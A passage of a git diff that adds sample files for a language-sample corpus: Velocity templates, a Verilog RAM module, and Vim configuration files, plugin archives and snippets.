+    "FilterExpression": "projectStatus = :InProgress OR projectStatus = :Completed",
+    #end
+    "ExpressionAttributeValues": {
+        ":pk": {
+            "S": "project"
+        },
+        ":sk": {
+            "S": "$context.authorizer.claims.email"
+        },
+        #if ($input.params('projectStatus') == 'archived')
+        ":Archived": {
+            "S": "Archived"
+        }
+        #else
+        ":InProgress": {
+            "S": "In Progress"
+        },
+        ":Completed": {
+            "S": "Completed"
+        }
+        #end
+    }
+}
\ No newline at end of file
diff --git a/samples/Velocity Template Language/index.vtl b/samples/Velocity Template Language/index.vtl
new file mode 100644
index 0000000000..78abbe87d7
--- /dev/null
+++ b/samples/Velocity Template Language/index.vtl	
@@ -0,0 +1,102 @@
+## Velocity Code Demo
+#*
+   based on PL/SQL mode by Peter Raganitsch, adapted to Velocity by Steve O'Hara ( http://www.pivotal-solutions.co.uk )
+   August 2011
+   Taken from Codemirror
+
+   MIT License
+
+   Copyright (C) 2017 by Marijn Haverbeke <marijnh@gmail.com> and others
+
+   Permission is hereby granted, free of charge, to any person obtaining a copy
+   of this software and associated documentation files (the "Software"), to deal
+   in the Software without restriction, including without limitation the rights
+   to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+   copies of the Software, and to permit persons to whom the Software is
+   furnished to do so, subject to the following conditions:
+
+   The above copyright notice and this permission notice shall be included in
+   all copies or substantial portions of the Software.
+
+   THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+   IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+   FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+   AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+   LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+   OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+   THE SOFTWARE.
+
+*#
+
+#*
+   This is a multiline comment.
+   This is the second line
+*#
+
+#[[ hello steve
+   This has invalid syntax that would normally need "poor man's escaping" like:
+
+   #define()
+
+   ${blah
+]]#
+
+#include( "disclaimer.txt" "opinion.txt" )
+#include( $foo $bar )
+
+#parse( "lecorbusier.vm" )
+#parse( $foo )
+
+#evaluate( 'string with VTL #if(true)will be displayed#end' )
+
+#define( $hello ) Hello $who #end #set( $who = "World!") $hello ## displays Hello World!
+
+#foreach( $customer in $customerList )
+
+    $foreach.count $customer.Name
+
+    #if( $foo == ${bar})
+        it's true!
+        #break
+    #{else}
+        it's not!
+        #stop
+    #end
+
+    #if ($foreach.parent.hasNext)
+        $velocityCount
+    #end
+#end
+
+$someObject.getValues("this is a string split
+        across lines")
+
+$someObject("This plus $something in the middle").method(7567).property
+
+#set($something = "Parseable string with '$quotes'!")
+
+#macro( tablerows $color $somelist )
+    #foreach( $something in $somelist )
+        <tr><td bgcolor=$color>$something</td></tr>
+        <tr><td bgcolor=$color>$bodyContent</td></tr>
+    #end
+#end
+
+#tablerows("red" ["dadsdf","dsa"])
+#@tablerows("red" ["dadsdf","dsa"]) some body content #end
+
+   Variable reference: #set( $monkey = $bill )
+   String literal: #set( $monkey.Friend = 'monica' )
+   Property reference: #set( $monkey.Blame = $whitehouse.Leak )
+   Method reference: #set( $monkey.Plan = $spindoctor.weave($web) )
+   Number literal: #set( $monkey.Number = 123 )
+   Range operator: #set( $monkey.Numbers = [1..3] )
+   Object list: #set( $monkey.Say = ["Not", $my, "fault"] )
+   Object map: #set( $monkey.Map = {"banana" : "good", "roast beef" : "bad"})
+
+The RHS can also be a simple arithmetic expression, such as:
+Addition: #set( $value = $foo + 1 )
+   Subtraction: #set( $value = $bar - 1 )
+   Multiplication: #set( $value = $foo * $bar )
+   Division: #set( $value = $foo / $bar )
+   Remainder: #set( $value = $foo % $bar )
diff --git a/samples/Verilog/ram.v b/samples/Verilog/ram.v
new file mode 100644
index 0000000000..8da5f543f0
--- /dev/null
+++ b/samples/Verilog/ram.v
@@ -0,0 +1,81 @@
+/*--------------------
+Original Author: Yuma Ueda
+Contact Point: cyan@0x00a1e9.dev
+ram.v
+Created: 12/19/2019
+
+Copyright 2019 Yuma Ueda
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+--------------------*/
+
+
+`include "defs.v"
+
+
+module RAM (
+    input wire [31:0] addr, write_data,
+    input wire memwrite,
+    input wire [1:0] storeops,
+    output wire [31:0] read_data,
+    input wire CLK, reset
+    );
+
+    reg [7:0] ram [`RAM_COL_MAX-1:0];
+
+    always @(posedge CLK) begin
+        if (reset) begin : rst
+            integer i;
+            for (i = 0; i < `RAM_COL_MAX; i = i + 1) begin
+                ram[i] <= 0;
+            end
+        end
+        else if (memwrite) begin
+            do_store();
+        end
+    end
+
+    assign read_data = {
+        ram[addr],
+        ram[addr+1],
+        ram[addr+2],
+        ram[addr+3]
+    };
+
+    task store_byte;
+    begin
+        ram[addr] <= write_data[7:0];
+    end
+    endtask
+
+    task store_half_word;
+    begin
+        ram[addr]   <= write_data[15:8];
+        ram[addr+1] <= write_data[7:0];
+    end
+    endtask
+
+    task store_word;
+    begin
+        ram[addr]   <= write_data[31:24];
+        ram[addr+1] <= write_data[23:16];
+        ram[addr+2] <= write_data[15: 8];
+        ram[addr+3] <= write_data[ 7: 0];
+    end
+    endtask
+
+    task do_store;
+    begin
+        (* full_case *)
+        case (storeops)
+            `STORE_B: store_byte();
+            `STORE_H: store_half_word();
+            `STORE_W: store_word();
+        endcase
+    end
+    endtask
+endmodule
diff --git a/samples/Vim Help File/modeline.txt b/samples/Vim Help File/modeline.txt
new file mode 100644
index 0000000000..33052a65fc
--- /dev/null
+++ b/samples/Vim Help File/modeline.txt	
@@ -0,0 +1 @@
+ vim:tw=78:ts=8:noet:ft=help:norl:
diff --git a/samples/Vim Script/filenames/.exrc b/samples/Vim Script/filenames/.exrc
new file mode 100644
index 0000000000..233d50c6ee
--- /dev/null
+++ b/samples/Vim Script/filenames/.exrc	
@@ -0,0 +1,11 @@
+set extended
+set iclower
+set leftright
+set report=1
+set ruler
+set searchincr
+set shiftwidth=4
+set showmatch
+set showmode
+set tabstop=4
+set verbose
diff --git a/samples/VimL/filenames/.gvimrc b/samples/Vim Script/filenames/.gvimrc
similarity index 100%
rename from samples/VimL/filenames/.gvimrc
rename to samples/Vim Script/filenames/.gvimrc
diff --git a/samples/VimL/filenames/.nvimrc b/samples/Vim Script/filenames/.nvimrc
similarity index 100%
rename from samples/VimL/filenames/.nvimrc
rename to samples/Vim Script/filenames/.nvimrc
diff --git a/samples/VimL/filenames/.vimrc b/samples/Vim Script/filenames/.vimrc
similarity index 100%
rename from samples/VimL/filenames/.vimrc
rename to samples/Vim Script/filenames/.vimrc
diff --git a/samples/VimL/filenames/_vimrc b/samples/Vim Script/filenames/_vimrc
similarity index 100%
rename from samples/VimL/filenames/_vimrc
rename to samples/Vim Script/filenames/_vimrc
diff --git a/samples/Vim Script/settings.vimrc b/samples/Vim Script/settings.vimrc
new file mode 100644
index 0000000000..cfa62ef9a6
--- /dev/null
+++ b/samples/Vim Script/settings.vimrc	
@@ -0,0 +1,96 @@
+set encoding=utf-8
+silent! set modelineexpr
+filetype on
+syntax enable
+
+" Configure Vundle
+if getftype("~/.vim/bundle/Vundle.vim") ==? "dir"
+	filetype off
+	set nocompatible
+	set rtp+=~/.vim/bundle/Vundle.vim
+	call vundle#begin()
+	Plugin "VundleVim/Vundle.vim"
+	call vundle#end()
+	filetype on
+endif
+
+" Configure Pathogen
+if exists("g:loaded_pathogen")
+	execute pathogen#infect()
+	syntax on
+	filetype plugin indent on
+endif
+
+" Use Solarized theme if running graphically
+if has("gui_running")
+	set background=dark
+	colorscheme solarized
+endif
+
+"======================================================================*
+set number
+set autoread
+set backspace=indent,eol,start
+set tabstop=4 softtabstop=0 noexpandtab shiftwidth=4
+set hlsearch
+set ignorecase
+set incsearch
+set modelines=50
+set showmatch
+
+highlight OverLength ctermbg=red ctermfg=white guibg=#592929
+fun! UpdateMatch()
+	if exists("b:current_syntax")
+		if b:current_syntax =~ "gitcommit"
+			match OverLength /\%>72v.\+/
+		else
+			match NONE
+		endif
+	endif
+endfun
+autocmd BufEnter,BufWinEnter * call UpdateMatch()
+
+
+"======================================================================*
+" Status line colours
+highlight statusline ctermbg=DarkGreen ctermfg=Black
+
+" Display highlighting group at cursor
+fun! StatusLineHighlightGroup()
+	return synIDattr(synID(line("."), col("."), 1), "name")
+endfun
+
+" Name of currently-active filetype
+fun! StatusLineFileType()
+	return strlen(&ft) ? &ft : "none"
+endfun
+
+" Character encoding and byte-order mark indicators
+fun! StatusLineEncoding()
+	let encoding = toupper (&fenc == "" ? &enc : &fenc)
+	if exists("+bomb") && &bomb
+	 	encoding += "(BOM)"
+	endif
+	return encoding
+endfun
+
+" Line-ending style
+fun! StatusLineEOLStyle()
+	if     (&fileformat ==? "unix") | return "LF"
+	elseif (&fileformat ==? "dos")  | return "CRLF"
+	elseif (&fileformat ==? "mac")  | return "CR"
+	endif; return type
+endfun
+
+if has("statusline")
+	set laststatus=2
+	set statusline=%#Question#%-2.2n\               " Buffer number
+	set statusline+=%#WarningMsg#%<%f\ %#Question#  " Filename
+	set statusline+=\ %l:%c                         " Line:column
+	set statusline+=\ %{StatusLineHighlightGroup()} " Highlighting group at cursor
+	set statusline+=%=                              " Left/right divider
+	set statusline+=%{StatusLineEOLStyle()}\ \      " What line terminators are used
+	set statusline+=%{StatusLineEncoding()}\ \      " Encoding + BOM
+	set statusline+=%{StatusLineFileType()}\ \      " Filetype
+	set statusline+=%h%m%r%w\                       " Flags
+endif
diff --git a/samples/VimL/solarized.vim b/samples/Vim Script/solarized.vim
similarity index 100%
rename from samples/VimL/solarized.vim
rename to samples/Vim Script/solarized.vim
diff --git a/samples/Vim Script/textobj-rubyblock.vba b/samples/Vim Script/textobj-rubyblock.vba
new file mode 100644
index 0000000000..757233c421
--- /dev/null
+++ b/samples/Vim Script/textobj-rubyblock.vba	
@@ -0,0 +1,216 @@
+" Vimball Archiver by Charles E. Campbell, Jr., Ph.D.
+UseVimball
+finish
+plugin/textobj/rubyblock.vim	[[[1
+58
+if exists('g:loaded_textobj_rubyblock')  "{{{1
+  finish
+endif
+
+" Interface  "{{{1
+call textobj#user#plugin('rubyblock', {
+\      '-': {
+\        '*sfile*': expand('<sfile>:p'),
+\        'select-a': 'ar',  '*select-a-function*': 's:select_a',
+\        'select-i': 'ir',  '*select-i-function*': 's:select_i'
+\      }
+\    })
+
+" Misc.  "{{{1
+let s:comment_escape = '\v^[^#]*'
+let s:block_openers = '\zs(<def>|<if>|<do>|<module>|<class>)'
+let s:start_pattern = s:comment_escape . s:block_openers
+let s:end_pattern = s:comment_escape . '\zs<end>'
+let s:skip_pattern = 'getline(".") =~ "\\w\\s\\+if"'
+
+function! s:select_a()
+  let s:flags = 'W'
+
+  call searchpair(s:start_pattern,'',s:end_pattern, s:flags, s:skip_pattern)
+  let end_pos = getpos('.')
+
+  " Jump to match
+  normal %
+  let start_pos = getpos('.')
+
+  return ['V', start_pos, end_pos]
+endfunction
+
+function! s:select_i()
+  let s:flags = 'W'
+  if expand('<cword>') == 'end'
+    let s:flags = 'cW'
+  endif
+
+  call searchpair(s:start_pattern,'',s:end_pattern, s:flags, s:skip_pattern)
+
+  " Move up one line, and save position
+  normal k^
+  let end_pos = getpos('.')
+
+  " Move down again, jump to match, then down one line and save position
+  normal j^%j
+  let start_pos = getpos('.')
+
+  return ['V', start_pos, end_pos]
+endfunction
+
+" Fin.  "{{{1
+
+let g:loaded_textobj_rubyblock = 1
+
+" __END__
+" vim: foldmethod=marker
+doc/textobj-rubyblock.txt	[[[1
+151
+*textobj-rubyblock.txt*	Text objects for ruby blocks
+
+Version 0.0.1
+
+CONTENTS					*textobj-rubyblock-contents*
+
+Introduction		|textobj-rubyblock-introduction|
+Interface		|textobj-rubyblock-interface|
+Mappings		|textobj-rubyblock-mappings|
+Examples		|textobj-rubyblock-examples|
+Bugs			|textobj-rubyblock-bugs|
+Changelog		|textobj-rubyblock-changelog|
+
+
+==============================================================================
+INTRODUCTION					*textobj-rubyblock-introduction*
+
+The *textobj-rubyblock* plugin provides two new |text-objects| which are
+triggered by `ar` and `ir` respectively. These follow Vim convention, so that
+`ar` selects _all_ of a ruby block, and `ir` selects the _inner_ portion of a
+rubyblock.
+
+In ruby, a block is always closed with the `end` keyword. Ruby blocks may be
+opened using one of several keywords, including `module`, `class`, `def` `if`
+and `do`. This example demonstrates a few of these:
+>
+	module Foo
+	  class Bar
+	    def Baz
+	      [1,2,3].each do |i|
+	        i + 1
+	      end
+	    end
+	  end
+	end
+<
+Suppose your cursor was positioned on the word `def` in this snippet. Typing
+`var` would enable visual mode selecting _all_ of the method definition. Your
+selection would comprise the following lines:
+>
+	def Baz
+	  [1,2,3].each do |i|
+	    i + 1
+	  end
+	end
+<
+Whereas if you typed `vir`, you would select everything _inside_ of the method
+definition, which looks like this:
+>
+	[1,2,3].each do |i|
+	  i + 1
+	end
+<
+Note that the `ar` and `ir` text objects always enable _visual line_ mode,
+even if you were in visual character or block mode before you triggered the
+rubyblock text object.
+
+Note too that the `ar` and `ir` text objects always position your cursor on
+the `end` keyword. If you want to move to the top of the selection, you can do
+so with the `o` key.
+
+# Limitations #
+
+Some text objects in Vim respond to a count. For example, the `a{` text object
+will select _all_ of the current `{}` delimited block, but if you prefix it
+with the number 2 (e.g. `v2i{`) then it will select all of the block that
+contains the current block. The rubyblock text object does not respond in this
+way if you prefix a count. This is due to a limitation in vimscript #2100.
+
+However, you can achieve a similar effect by repeating the rubyblock
+text-object manually. So if you press `var` to select the current ruby block,
+you can expand your selection outwards by repeating `ar`, or contract your
+selection inwards by repeating `ir`.
+
+
+# Requirements: #
+
+- Vim 7.2 or later
+- |textobj-user| 0.3.7 or later (vimscript#2100)
+- |matchit.vim|
+
+Matchit.vim is distributed with Vim, but is not enabled by default. If you add
+the following line to your vimrc file, then it will enable matchit.vim each
+time Vim starts up:
+>
+    runtime macros/matchit.vim
+<
+Latest version:
+http://github.com/nelstrom/vim-textobj-rubyblock
+
+
+==============================================================================
+INTERFACE					*textobj-rubyblock-interface*
+
+------------------------------------------------------------------------------
+MAPPINGS					*textobj-rubyblock-mappings*
+
+These key mappings are defined in Visual mode and Operator-pending mode.
+
+<Plug>(textobj-rubyblock-a)			*<Plug>(textobj-rubyblock-a)*
+	Select the ruby block including the opening and closing lines.
+
+<Plug>(textobj-rubyblock-i)			*<Plug>(textobj-rubyblock-i)*
+	Select the inner lines of a ruby block. The opening and closing
+	lines are not included.
+
+==============================================================================
+CUSTOMIZING					*textobj-rubyblock-customizing*
+
+				*g:textobj_rubyblock_no_default_key_mappings*
+					*:TextobjRubyblockDefaultKeyMappings*
+
+	This plugin will define the following key mappings in Visual mode and
+	Operator-pending mode automatically.  If you don't want these key
+	mappings, define |g:textobj_rubyblock_no_default_key_mappings| before
+	this plugin is loaded (e.g. in your |vimrc|).  You can also use
+	|:TextobjRubyblockDefaultKeyMappings| to redefine these key mappings.
+	This command doesn't override existing {lhs}s unless [!] is given.
+
+	{lhs}	{rhs}			~
+	-----	----------------------	~
+	ar	<Plug>(textobj-rubyblock-a)
+	ir	<Plug>(textobj-rubyblock-i)
+
+	Suppose that you didn't like using `ar` and `ir` to trigger the
+	rubyblock text objects, and instead wanted to map them to `ae` and
+	`ie`. You could achieve this by placing the following in your vimrc
+	file:
+
+	let g:textobj_rubyblock_no_default_key_mappings = 1
+	xmap ae  <Plug>(textobj-rubyblock-a)
+	omap ae  <Plug>(textobj-rubyblock-a)
+	xmap ie  <Plug>(textobj-rubyblock-i)
+	omap ie  <Plug>(textobj-rubyblock-i)
+
+==============================================================================
+BUGS						*textobj-rubyblock-bugs*
+
+- [count] is just ignored.
+
+- See |textobj-user-bugs| for further information.
+
+==============================================================================
+CHANGELOG					*textobj-rubyblock-changelog*
+
+0.0.1	2010-12-27
+	- First release.
+
+==============================================================================
+vim:tw=78:ts=8:ft=help:norl:fen:fdl=0:fdm=marker:
+
diff --git a/samples/Vim Script/todo.vmb b/samples/Vim Script/todo.vmb
new file mode 100644
index 0000000000..c22516ffb4
--- /dev/null
+++ b/samples/Vim Script/todo.vmb	
@@ -0,0 +1,189 @@
+" Vimball Archiver by Charles E. Campbell, Jr., Ph.D.
+UseVimball
+finish
+doc/todo.txt	[[[1
+50
+Todo plugin for Vim:
+
+This Vim plugin is based on vim-task (github.com/samsonw/vim-task).
+It helps managing todo lists within Vim in a very basic but efficient way.
+
+The latest version of todo can be found here: cdsoft.fr/todo
+
+Contributions are possible on GitHub: https://github.com/CDSoft.fr/todo
+
+Installation:
+
+    Todo is distributed as a Vimball archive.
+    + download todo.vmb
+    + open this file with vim and type « :so % »
+
+Usage:
+
+    File type:
+
+    ✓ file named *.todo or *todo.txt are open with the todo plugin.
+
+    Syntax:
+
+    ✓ lines ending with ':' are project titles
+    + lines starting with '+' are urgent tasks
+    - lines starting with '-' are pending tasks (less urgent)
+    ✓ lines starting with '✓' are completed tasks
+    ? lines starting with '?' are questions
+    Some "todo" words are highlighted
+    Other lines remain unformated
+
+    Shortcuts:
+
+    Shortcuts are key sequences starting with <Leader>. The <Leader> key is
+    '\' by default but I personnally prefer '²' which makes Todo shortcuts
+    easier to type on a french keyboard.
+    You can add « let mapleader="²" » to the .vimrc file or define any
+    other key that suits you best.
+
+    ✓ \TAB toggles the line status between "pending" and "completed"
+    ✓ \& toggles the line status between "urgent" and "completed"
+    ✓ \q toggles the line status between "question" and "unformated"
+
+License:
+
+    Copyright © 2013, 2016 Christophe Delord (cdsoft.fr)
+    This work is free. You can redistribute it and/or modify it under the
+    terms of the Do What The Fuck You Want To Public License, Version 2,
+    as published by Sam Hocevar. See http://www.wtfpl.net/ for more details.
+
+syntax/todo.vim	[[[1
+46
+" Copyright © 2013, 2016 Christophe Delord (cdsoft.fr)
+" This work is free. You can redistribute it and/or modify it under the
+" terms of the Do What The Fuck You Want To Public License, Version 2,
+" as published by Sam Hocevar. See http://www.wtfpl.net/ for more details.
+
+if exists("b:current_syntax")
+  finish
+endif
+
+syntax keyword taskKeyword New new Working working Done done Todo TODO todo bug Bug TBC TBD
+
+syntax match taskWorkingIcon "^-" contained
+syntax match taskWorkingIcon "^\s*-" contained
+syntax match taskUrgentIcon "^+" contained
+syntax match taskUrgentIcon "^\s*+" contained
+syntax match taskDoneIcon "^✓" contained
+syntax match taskDoneIcon "^\s*✓" contained
+syntax match taskQuestionIcon "^?" contained
+syntax match taskQuestionIcon "^\s*?" contained
+
+syntax match taskWorkingItem "^-.*" contains=taskWorkingIcon,taskKeyword
+syntax match taskWorkingItem "^\s*-.*" contains=taskWorkingIcon,taskKeyword
+syntax match taskUrgentItem "^+.*" contains=taskUrgentIcon,taskKeyword
+syntax match taskUrgentItem "^\s*+.*" contains=taskUrgentIcon,taskKeyword
+syntax match taskDoneItem "^✓.*" contains=taskDoneIcon,taskKeyword
+syntax match taskDoneItem "^\s*✓.*" contains=taskDoneIcon,taskKeyword
+syntax match taskQuestionItem "^?.*" contains=taskQuestionIcon,taskKeyword
+syntax match taskQuestionItem "^\s*?.*" contains=taskQuestionIcon,taskKeyword
+
+highlight taskKeyword guifg=black guibg=yellow gui=NONE ctermfg=black ctermbg=yellow cterm=NONE
+
+highlight taskWorkingItem guifg=red guibg=NONE gui=NONE ctermfg=red ctermbg=NONE cterm=NONE
+highlight taskUrgentItem guifg=red guibg=NONE gui=bold ctermfg=red ctermbg=NONE cterm=bold
+highlight taskDoneItem guifg=green guibg=NONE gui=NONE ctermfg=green ctermbg=NONE cterm=NONE
+highlight taskQuestionItem guifg=black guibg=yellow gui=NONE ctermfg=black ctermbg=yellow cterm=NONE
+
+highlight taskWorkingIcon guifg=red guibg=NONE gui=bold ctermfg=red ctermbg=NONE cterm=bold
+highlight taskUrgentIcon guifg=red guibg=NONE gui=bold ctermfg=red ctermbg=NONE cterm=bold
+highlight taskDoneIcon guifg=green guibg=NONE gui=bold ctermfg=green ctermbg=NONE cterm=bold
+highlight taskQuestionIcon guifg=black guibg=NONE gui=bold ctermfg=black ctermbg=NONE cterm=bold
+
+syntax match sectionTitleLine "^.*:\s*$" contains=sectionTitle
+syntax match sectionTitle "\S.*:\s*$"
+highlight sectionTitle guifg=blue guibg=NONE gui=bold,underline ctermfg=blue ctermbg=NONE cterm=bold,underline
+
+let b:current_syntax = "todo"
+plugin/todo.vim	[[[1
+73
+" Copyright © 2013, 2016 Christophe Delord (cdsoft.fr)
+" This work is free. You can redistribute it and/or modify it under the
+" terms of the Do What The Fuck You Want To Public License, Version 2,
+" as published by Sam Hocevar. See http://www.wtfpl.net/ for more details.
+
+if (exists("g:loaded_todo"))
+  finish
+endif
+let g:loaded_todo = 1
+
+let s:cpo_save = &cpo
+set cpo&vim
+
+function! Toggle_task_status()
+  let line = getline('.')
+  if match(line, '^\(\s*\)-') == 0
+    let line = substitute(line, '^\(\s*\)-', '\1✓', '')
+  elseif match(line, '^\(\s*\)+') == 0
+    let line = substitute(line, '^\(\s*\)+', '\1-', '')
+  elseif match(line, '^\(\s*\)✓') == 0
+    let line = substitute(line, '^\(\s*\)✓', '\1-', '')
+  elseif match(line, '^\(\s*\)?') == 0
+    let line = substitute(line, '^\(\s*\)?', '\1-', '')
+  else
+    let line = substitute(line, '^\(\s\{-}\)\(\s\=\)\<', '\2\1- ', '')
+  endif
+  call setline('.', line)
+endfunction
+
+function! Toggle_urgent_task_status()
+  let line = getline('.')
+  if match(line, '^\(\s*\)+') == 0
+    let line = substitute(line, '^\(\s*\)+', '\1✓', '')
+  elseif match(line, '^\(\s*\)-') == 0
+    let line = substitute(line, '^\(\s*\)-', '\1+', '')
+  elseif match(line, '^\(\s*\)✓') == 0
+    let line = substitute(line, '^\(\s*\)✓', '\1+', '')
+  elseif match(line, '^\(\s*\)?') == 0
+    let line = substitute(line, '^\(\s*\)?', '\1+', '')
+  else
+    let line = substitute(line, '^\(\s\{-}\)\(\s\=\)\<', '\2\1+ ', '')
+  endif
+  call setline('.', line)
+endfunction
+
+function! Toggle_question()
+  let line = getline('.')
+  if match(line, '^\(\s*\)-') == 0
+    let line = substitute(line, '^\(\s*\)-', '\1?', '')
+  elseif match(line, '^\(\s*\)+') == 0
+    let line = substitute(line, '^\(\s*\)-', '\1?', '')
+  elseif match(line, '^\(\s*\)✓') == 0
+    let line = substitute(line, '^\(\s*\)✓', '\1?', '')
+  elseif match(line, '^\(\s*\)?') == 0
+    let line = substitute(line, '^\(\s*\)?\s*', '\1', '')
+  else
+    let line = substitute(line, '^\(\s\{-}\)\(\s\=\)\<', '\2\1? ', '')
+  endif
+  call setline('.', line)
+endfunction
+
+function SetupTodo()
+    inoremap <silent> <buffer> <Leader><TAB> <ESC>:call Toggle_task_status()<CR>i
+    noremap <silent> <buffer> <Leader><TAB> :call Toggle_task_status()<CR>
+    inoremap <silent> <buffer> <Leader>& <ESC>:call Toggle_urgent_task_status()<CR>i
+    noremap <silent> <buffer> <Leader>& :call Toggle_urgent_task_status()<CR>
+    inoremap <silent> <buffer> <Leader>q <ESC>:call Toggle_question()<CR>i
+    noremap <silent> <buffer> <Leader>q :call Toggle_question()<CR>
+endfunction
+
+let &cpo = s:cpo_save
+unlet s:cpo_save
+
+ftdetect/todo.vim	[[[1
+9
+" Copyright © 2013, 2016 Christophe Delord (cdsoft.fr)
+" This work is free. You can redistribute it and/or modify it under the
+" terms of the Do What The Fuck You Want To Public License, Version 2,
+" as published by Sam Hocevar. See http://www.wtfpl.net/ for more details.
+
+autocmd BufRead,BufNewFile *.todo,*todo.txt set filetype=todo | call SetupTodo()
+augroup filetypedetect
+  au BufRead,BufNewFile *.todo,*todo.txt setfiletype todo | call SetupTodo()
+augroup END
diff --git a/samples/Vim Snippet/vim.snip b/samples/Vim Snippet/vim.snip
new file mode 100644
index 0000000000..9488ae33ab
--- /dev/null
+++ b/samples/Vim Snippet/vim.snip	
@@ -0,0 +1,236 @@
+snippet     if
+abbr        if endif
+options     head
+    if ${1:#:condition}
+      ${0:TARGET}
+    endif
+
+snippet     elseif
+options     head
+    elseif ${1:#:condition}
+        ${0:TARGET}
+
+snippet     ifelse
+abbr        if else endif
+options     head
+    if ${1:#:condition}
+      ${2:TARGET}
+    else
+      ${3}
+    endif
+
+snippet     for
+abbr        for in endfor
+options     head
+    for ${1:#:var} in ${2:#:list}
+      ${0:TARGET}
+    endfor
+
+snippet     while
+abbr        while endwhile
+options     head
+    while ${1:#:condition}
+      ${0:TARGET}
+    endwhile
+
+snippet     function
+abbr        func endfunc
+alias       func
+options     head
+    function! ${1:#:func_name}(${2}) abort
+      ${0:TARGET}
+    endfunction
+
+snippet     try
+abbr        try endtry
+options     head
+    try
+      ${1:TARGET}
+    catch /${2:#:pattern}/
+      ${3}
+    endtry
+
+snippet     tryfinally
+abbr        try ... finally ... endtry
+alias       tryf
+options     head
+    try
+      ${1:TARGET}
+    finally
+      ${2}
+    endtry
+
+snippet     catch
+abbr        catch /pattern/
+options     head
+    catch ${1:/${2:#:pattern: empty, E484, Vim(cmdname):{errmsg\\}\}/}
+
+snippet     echomsg
+alias       log
+options     head
+    echomsg string(${1:TARGET})
+
+snippet     command
+abbr        command call function
+options     head
+    command! ${1:#:command_name} call ${2:#:func_name}
+
+snippet     customlist
+abbr        customlist complete function
+options     head
+    function! ${1:#:func_name}(arglead, cmdline, cursorpos) abort
+      return filter(${2:#:list}, 'stridx(v:val, a:arglead) == 0')
+    endfunction
+
+snippet     augroup
+abbr        augroup with autocmds
+options     head
+    augroup ${1:#:augroup_name}
+      autocmd!
+      autocmd ${2:#:event}
+    augroup END
+
+snippet     redir
+abbr        redir => var
+options     head
+	redir => ${1:#:var}
+		${2::TARGET}
+	redir END
+
+snippet NeoBundle
+alias   neobundle
+abbr NeoBundle ''
+    NeoBundle '`getreg('+')=='' ? '<\`0\`>' : getreg('+')`'${0}
+
+snippet NeoBundleLazy
+alias   neobundlelazy
+abbr NeoBundleLazy ''
+    NeoBundleLazy '`getreg('+')=='' ? '<\`0\`>' : getreg('+')`', {
+      \ ${0}
+      \ }
+
+snippet bundle_hooks
+abbr neobundle hooks
+    let s:hooks = neobundle#get_hooks('${1}')
+    function! s:hooks.on_source(bundle) abort
+      ${0}
+    endfunction
+    unlet s:hooks
+
+snippet     autoload
+abbr        autoload func endfunc
+alias       afunction afunc
+options     head
+    function! `substitute(matchstr(neosnippet#util#expand('%:p:r'), '/autoload/\zs.*$'), '/', '#', 'g')`#${1:#:func_name}(${2:#:args}) abort
+      ${0}
+    endfunction
+
+snippet  save_cpoptions
+abbr     let s:save_cpo = &cpo | set cpo&vim
+alias    s:save_cpo cpoptions
+options     head
+    let s:save_cpo = &cpo
+    set cpo&vim
+
+    ${0}
+
+    let &cpo = s:save_cpo
+    unlet s:save_cpo
+
+snippet g:loaded
+abbr    if exists('g:loaded_{plugin-name}')
+alias   loaded
+options     head
+    if exists('g:loaded_${1}')
+      finish
+    endif
+
+    ${0}
+
+    let g:loaded_$1 = 1
+
+snippet modeline
+abbr    " vim: {modeline}
+    " vim: ${0:foldmethod=marker}
+
+snippet undo_ftplugin
+abbr    if !exists('b:undo_ftplugin')
+alias   b:undo_ftplugin
+    if !exists('b:undo_ftplugin')
+      let b:undo_ftplugin = ''
+    endif
+
+    ${1}
+
+    let b:undo_ftplugin .= '
+    \ | setlocal ${2:#:option_name1< option_name2<...}
+    \'
+
+snippet python
+alias   py
+options head
+abbr    python <<EOF | EOF
+    python << EOF
+    ${0}
+    EOF
+
+snippet python3
+alias   py3
+options head
+abbr    python3 <<EOF | EOF
+    python3 << EOF
+    ${0}
+    EOF
+
+snippet lua
+options head
+abbr    lua <<EOF | EOF
+    lua << EOF
+    ${0}
+    EOF
+
+snippet save_pos
+options head
+abbr    use pos save
+    let pos_save = getpos('.')
+    try
+      ${0}
+    finally
+      call setpos('.', pos_save)
+    endtry
+
+snippet save_register
+options head
+abbr    use register save
+    let save_reg_$1 = getreg('${1}')
+    let save_regtype_$1 = getregtype('$1')
+    try
+      ${0}
+    finally
+      call setreg('$1', save_reg_$1, save_regtype_$1)
+    endtry
+
+snippet save_option
+options head
+abbr    use option save
+    let $1_save = &${1}
+    let &$1 = ${2}
+    try
+      ${0}
+    finally
+      let &$1 = $1_save
+    endtry
+
+snippet     p
+abbr        debug-echomsg
+options     head
+  echomsg string([${0:TARGET}])
+
+snippet     version
+abbr        vim-version-check
+        v:version > ${1} || (v:version == $1 && has('patch${2}'))
+
+snippet     version_new
+abbr        vim-version-check-new
+        has('patch-${1}')
+
diff --git a/samples/Vim Snippet/vim.snippets b/samples/Vim Snippet/vim.snippets
new file mode 100644
index 0000000000..65a18973f1
